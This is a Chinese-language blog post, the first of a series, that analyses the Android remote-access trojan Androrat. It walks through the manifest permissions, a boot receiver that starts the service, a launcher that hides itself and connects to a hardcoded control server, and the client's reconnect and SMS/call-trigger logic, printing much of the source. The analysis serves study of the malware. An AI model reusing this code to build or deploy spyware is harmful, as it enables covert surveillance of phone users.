剖析安卓木马Androrat(一)

0x00 前言

之前有一个想法,想通过学习Android木马的编写来了解Android程序的编写,刚好看到了Bincker给的一个《安卓木马编写教程》。刚照着教程写完了一个入门程序,就无意间在WooYun上发现了Androrat的这个木马,看上去功能挺强大的,就决定来看一看它都是怎么实现各种功能的。

这篇文章对于我整个分析过程的重新整理,一方面为了给自己做个记录,另一方面给想要涉及Android领域的同学先抛一块砖垫脚。

0x01 AndroidManifest分析

国际惯例,我们先来看AndroidManifest.xml中提供的信息。先来看权限:

permission

可以看到申请了以下这些权限(Android权限信息请参考这里):

  • 短信提醒接收
  • 读、发短信
  • 获取手机状态
  • 处理拨出电话
  • 获取网络状态
  • 获取精确定位
  • 连接网络
  • 录音
  • 扩展存储(SD卡)写
  • 相机
  • 开机启动
  • 拨打电话
  • 获取通讯录
  • 震动

从申请的这些权限,我们不难猜到这个木马所能够实现的功能。下面我们继续来看AndroidManfest中application中定义的模块:有两个receiver,一个开机启动监听,一个没有定义action;两个activity,一个主界面,一个看名字貌似和照片相关的界面;一个service,木马的主服务。具体定义内容如下:

application

从上面这些内容来看,我们分析的入手点有两个,一个是开机启动的那个处理,另一个就是主界面,下面我们挨个来看一看它们都做了什么。

0x02 开机启动处理过程分析

代码如下:

public class BootReceiver extends BroadcastReceiver {
    
    public final String TAG = BootReceiver.class.getSimpleName();
    
    @Override
    public void onReceive(Context context, Intent intent) {
        Log.i(TAG,"BOOT Complete received by Client !");
        
        String action = intent.getAction();
        
        if(action.equals(Intent.ACTION_BOOT_COMPLETED)) { //android.intent.action.BOOT_COMPLETED
            Intent serviceIntent = new Intent(context, Client.class);
            serviceIntent.setAction(BootReceiver.class.getSimpleName());
            context.startService(serviceIntent);
        }
    }

}

代码很简单,判断action是不是开机启动的action,如果是就初始化一个启动Client的Intent,设置这个Intent的action为当前类名(这一步的作用只是为了让Client在log中打印是哪个应用开启了服务,应该是为了方便调试),最后启动Client服务,说白了就是是做了一个Client服务的启动(关于Client的实现,我会作为正餐在后面给出详细的分析)。

0x03 主界面处理过程分析

还是先看代码:

public class LauncherActivity extends Activity {
    /** Called when the activity is first created. */
    
    Intent Client, ClientAlt;
    Button btnStart, btnStop;
    EditText ipfield, portfield;
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        
        Client = new Intent(this, Client.class);
        Client.setAction(LauncherActivity.class.getName());
        
        btnStart = (Button) findViewById(R.id.buttonstart);
        btnStop = (Button) findViewById(R.id.buttonstop);
       // ipfield = (EditText) findViewById(R.id.ipfield);
       // portfield = (EditText) findViewById(R.id.portfield);
        
        btnStart.setOnClickListener(new View.OnClickListener() {
            public void onClick(View view) {
                Client.putExtra("IP", ipfield.getText().toString());
                Client.putExtra("PORT", new Integer(portfield.getText().toString()));
                startService(Client);
                btnStart.setEnabled(false);
                btnStop.setEnabled(true);
             
                
                //finish();                
            }
        });
        
        
        Client.putExtra("IP","172.16.1.60");
        Client.putExtra("PORT",7777);
      //  Client.putExtra("IP", ipfield.getText().toString());
    //  Client.putExtra("PORT", new Integer(portfield.getText().toString()));
        startService(Client);
        btnStart.setEnabled(false);
        btnStop.setEnabled(false);
        moveTaskToBack(true);
        System.out.println("启动服务");




        
        btnStop.setOnClickListener(new View.OnClickListener() {
            public void onClick(View view) {             
                stopService(Client);  
                btnStart.setEnabled(true);
                btnStop.setEnabled(false);
                //finish(); 
            }
        });
    }
}

先定义一个调用Client的Intent,设置action。后面的代码创建了一个Start和Stop按钮,Start按钮从ipfield和portfield中抽取ip和port,添加到Intent携带的数据中(在Client设定连接到的服务端信息),然后启动Client服务,禁用Start按钮,开启Stop按钮。Stop按钮的实现写在了最后,停止Client服务,然后打开Start按钮,禁用Stop按钮。不过不知道作者怎么想的,把ipfield和portfield禁用掉了,所以这个功能就一直都是废掉的。如果想要使用它们,可以修改代码中对于ipfield和portfiled的注释部分,在界面这设计中添加id为ipfield和portfield的输入框。

我的代码是从《如何玩转andriod远控(androrat)》作者提供的网盘上下载的,在Androrat项目的GitHub项目里没有看关于界面的代码,应该是这篇文章作者用做文章的示例代码。

这里有一点小的八卦信息,GitHub上面搜索Androrat,从返回的和这个项目相关的内容中可以看出原作者是一个叫RobinDavid的法国人(注释中满满的全是看不懂的鸟文o(╯□╰)o),但是我在作者自己的GitHub中没有找到这个项目,而且这个项目应该是作者在2012年11月开发的,至于原因什么的各位看官自己去联想吧。

这个项目目前在GitHub上Wooyun的wszf(猥琐zf?)在维护,我看了下历史更新,貌似改动挺大。还有一个是一个国外的人fork的,没有什么改动,原汁原味的,大家喜欢哪个就去下哪个吧,链接如下:

0x04 核心Client类分析

每当一个服务建立后,都会由系统调用它们的onCreate方法,所以我们先来看Client的OnCreate方法的代码:

public void onCreate() {
        Log.i(TAG, "In onCreate");
        infos = new SystemInfo(this);
        procCmd = new ProcessCommand(this);
        
        loadPreferences();
    }

进行了几步初始化操作,SystemInfo类是用于读取系统信息的类,ProcessCommand类则是用于处理Server发送的命令的类,loadPrefererences用于初始化各个参数,我们来看它的代码:

public void loadPreferences() {
        PreferencePacket p = procCmd.loadPreferences();
        waitTrigger = p.isWaitTrigger();
        ip = p.getIp();
        port = p.getPort();
        authorizedNumbersCall = p.getPhoneNumberCall();
        authorizedNumbersSMS = p.getPhoneNumberSMS();
        authorizedNumbersKeywords = p.getKeywordSMS();
    }

使用ProcessCommand的loadPreference方法通过读取perference设置的内容来初始化监控信息,包括Server的ip和port、指定是否开启来电或短信提醒触发Client启动、指定特别关注的号码电话或者短信、指定监听特定关键字短信,然后将内容添加到成员变量当中。其中perference的设置需要在连接Server时被远程设定,所以默认初始的ip和port都是被直接写在代码中的。下面为ProcessCommand的loadPreference方法详细代码:

public PreferencePacket loadPreferences()
    {
        PreferencePacket p = new PreferencePacket();
        
        SharedPreferences settings = client.getSharedPreferences("preferences", 0);

        p.setIp( settings.getString("ip", "172.16.1.60"));
        p.setPort (settings.getInt("port", 7777));
        p.setWaitTrigger(settings.getBoolean("waitTrigger", false));
        
        ArrayList<String> smsKeyWords = new ArrayList<String>();
        String keywords = settings.getString("smsKeyWords", "");
        if(keywords.equals(""))
            smsKeyWords = null;
        else {
            StringTokenizer st = new StringTokenizer(keywords, ";");
            while (st.hasMoreTokens())
            {
                smsKeyWords.add(st.nextToken());
            }
            p.setKeywordSMS(smsKeyWords);
        }
        
        ArrayList<String> whiteListCall = new ArrayList<String>();
        String listCall = settings.getString("numCall", "");
        if(listCall.equals(""))
            whiteListCall = null;
        else {
            StringTokenizer st = new StringTokenizer(listCall, ";");
            while (st.hasMoreTokens())
            {
                whiteListCall.add(st.nextToken());
            }
            p.setPhoneNumberCall(whiteListCall);
        }
        
        
        ArrayList<String> whiteListSMS = new ArrayList<String>();
        String listSMS = settings.getString("numSMS", "");
        if(listSMS.equals(""))
            whiteListSMS = null;
        else {
            StringTokenizer st = new StringTokenizer(listSMS, ";");
            while (st.hasMoreTokens())
            {
                whiteListSMS.add(st.nextToken());
            }
            p.setPhoneNumberSMS(whiteListSMS);
        }
        return p;
    }

之后根据我们前面分析的BootReceiver和AndroratActivity可以知道Client服务的启动是靠startService方法来启动的,而这个方法会触发Client的onStartCommand的方法。下面我们来一段一段的来分析这个方法,先来看第一段:

public int onStartCommand(Intent intent, int flags, int startId) {
        //toast = Toast.makeText(this   ,"Prepare to laod", Toast.LENGTH_LONG);
        //loadPreferences("preferences");
        //Intent i = new Intent(this,Preferences.class);
        //startActivity(i);
        if(intent == null)
            return START_STICKY;
        String who = intent.getAction();
        Log.i(TAG, "onStartCommand by: "+ who); //On affiche qui a déclenché l'event
        
        if (intent.hasExtra("IP"))
            this.ip = intent.getExtras().getString("IP");
        if (intent.hasExtra("PORT"))
            this.port = intent.getExtras().getInt("PORT");      
        
        if(!isRunning) {// C'est la première fois qu'on le lance
            
            //--- On ne passera qu'une fois ici ---
            IntentFilter filterc = new IntentFilter("android.net.conn.CONNECTIVITY_CHANGE"); //Va monitorer la connexion
            registerReceiver(ConnectivityCheckReceiver, filterc);
            isRunning = true;
            conn = new Connection(ip,port,this);//On se connecte et on lance les threads
            
            if(waitTrigger) { //On attends un evenement pour se connecter au serveur
                //On ne fait rien
                registerSMSAndCall();
            }

先从intent参数中提取action(还记得前面开机启动和主界面类中的setAction方法吗?),然后在日志里打印此时服务是被哪个向量触发的,这样写应该是为了方便调试,比较容易找到出现问题的模块。后面是从intent中抽取ip和port(如果有的话),判断服务是否已经运行了,如果没有则创建网络连接变化监听(这是为了在切换网络连接的时候,可以重新建立监听)。在后面,置inRunning为true,创建连接,如果在配置中设定了是否开启来电或短信提醒触发Client启动,则使用registerSMSAndCall方法,注册短信监听和来电监听(关于这两个监听触发的代码,我们留着后面再分析,这次我们先重点看Client的逻辑)。registerSMSAndCall代码如下:

public void registerSMSAndCall() {
        IntentFilter filter = new IntentFilter();
        filter.addAction("android.provider.Telephony.SMS_RECEIVED"); //On enregistre un broadcast receiver sur la reception de SMS
        registerReceiver(SMSreceiver, filter);
        IntentFilter filter2 = new IntentFilter();
        filter2.addAction("android.intent.action.PHONE_STATE");//TelephonyManager.ACTION_PHONE_STATE_CHANGED); //On enregistre un broadcast receiver sur la reception de SMS
        registerReceiver(Callreceiver, filter2);
    }

下面我们再来看witTrigger设置为false时的处理代码:

else {
                Log.i(TAG,"Try to connect to "+ip+":"+port);
                if(conn.connect()) {
                    packet = new CommandPacket();
                    readthread = new Thread(new Runnable() { public void run() { waitInstruction(); } });
                    readthread.start(); //On commence vraiment a écouter
                    CommandPacket pack = new CommandPacket(Protocol.CONNECT, 0, infos.getBasicInfos());
                    handleData(0,pack.build());                 
                    //gps = new GPSListener(this, LocationManager.NETWORK_PROVIDER,(short)4); //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
                    isListening = true;
                    if(waitTrigger) {
                        unregisterReceiver(SMSreceiver); //On désenregistre SMS et Call pour éviter tout appel inutile
                        unregisterReceiver(Callreceiver);
                        waitTrigger = false;
                    }
                }
                else {
                    if(isConnected) { //On programme le AlarmListener car y a un probleme coté serveur
                        resetConnectionAttempts();
                        reconnectionAttempts();
                    }
                    else { //On attend l'update du ConnectivityListener pour se débloquer 
                        Log.w(TAG,"Not Connected wait a Network update");
                    }
                }

如果连接建立成功,实例化CommandPacket用于处理Server端的命令,然后建立一个监听线程,等待Server端命令(对于Client如何和Server交互,我会作为下一篇文章的重点来讲)。然后获取系统基础信息进行封装,通过handleData方法发送至Server端。下面是handleData方法的代码:

public void handleData(int channel, byte[] data) {
        conn.sendData(channel, data);
    }

后面设置监听判断为true,如果在配置中设定了是否开启来电或短信提醒触发Client启动,则卸载SMSreceiver和Callreceiver模块(已经建立连接了,不再需要监听),设置waitTrigger为false。

如果连接建立失效则重置连接,然后尝试重新连接。

我们来看onStartCommand最后的这一段代码:

else { //Le service a déjà été lancé
            if(isListening) {
                Log.w(TAG,"Called uselessly by: "+ who + " (already listening)");
            }
            else { //Sa veut dire qu'on a reçu un broadcast sms ou call
                //On est ici soit par AlarmListener, ConnectivityManager, SMS/Call ou X
                //Dans tout les cas le but ici est de se connecter
                Log.i(TAG,"Connection by : "+who);
                if(conn.connect()) {
                    readthread = new Thread(new Runnable() { public void run() { waitInstruction(); } });
                    readthread.start(); //On commence vraiment a écouter
                    CommandPacket pack = new CommandPacket(Protocol.CONNECT, 0, infos.getBasicInfos());
                    handleData(0,pack.build());
                    isListening = true;
                    if(waitTrigger) {
                        unregisterReceiver(SMSreceiver);
                        unregisterReceiver(Callreceiver);
                        waitTrigger = false; //In case of disconnect does not wait again for a trigger
                    }
                }
                else {//On a encore une fois pas réussi a se connecter
                    reconnectionAttempts(); // Va relancer l'alarmListener
                }
            }
        }
         
        return START_STICKY;

如果服务已经运行,判断是否已经开启监听,如果没有开启,则重复之前那段代码的工作。不同的只是在连接失败时不进行重置连接的功能,只尝试重新连接。

0x05 总结

到这里这篇文章的任务已经完成了,下一篇文章我将重点分析Server端对Client发送的命令是如何被处理的。

在分析的过程中,对于各种广播的理解完全靠官方文档,英文理解起来也没有中文省力,所以打算整理一份比较全面的Android中广播和权限的中文说明。我会先在每篇文章最后添加我新已经理解的广播或者权限的对照说明。

PS.结尾吐槽一下,写这种文章真心好累,不过对于整体的梳理和一些分析过程中的盲点细节有很好的补充,算是有苦有甜吧。

0x06 广播对照说明

  • 开机广播:android.intent.action.BOOT_COMPLETED
  • 打入电话广播:android.intent.action.PHONE_STATE
  • 打出电话广播:android.intent.action.NEW_OUTGOING_CALL
  • SMS消息提醒广播:android.provider.Telephony.SMS_RECEIVED
  • 2g、3g、wifi等网络切换广播:android.net.conn.CONNECTIVITY_CHANGE
  • 进入主界面广播:android.intent.action.MAIN

0x07 权限对照说明

  • 获知短信到来权限:android.permission.RECEIVE_SMS
  • 读取短信权限:android.permission.READ_SMS
  • 发送短信权限:android.permission.SEND_SMS
  • 访问电话状态权限:android.permission.READ_PHONE_STATE
  • 拨打电话权限,允许程序从非系统拨号器里输入电话号码: android.permission.CALL_PHONE
  • 通话权限,允许程序拨打电话,替换系统的拨号器界面:android.permission.CALL_PRIVILEGED
  • 处理拨出电话,允许程序监视,修改或放弃播出电话:android.permission.PROCESS_OUTGOING_CALLS
  • 获取通讯录内容权限:android.permission.READ_CONTACTS
  • 获取网络状态权限:android.permission.ACCESS_NETWORK_STATE
  • 获取粗略定位权限:android.permission.ACCESS_COARSE_LOCATION
  • 获取精确定位权限:android.permission.ACCESS_FINE_LOCATION
  • 访问Internet权限:android.permission.INTERNET
  • 录音权限:android.permission.RECORD_AUDIO
  • 扩展存储(SD卡)写权限:android.permission.WRITE_EXTERNAL_STORAGE
  • 操控相机权限:android.permission.CAMERA
  • 开机启动权限:android.permission.RECEIVE_BOOT_COMPLETED
  • 操控手机震动权限:android.permission.VIBRATE

Spread the word. Share this post!

Meet The Author

Leave Comment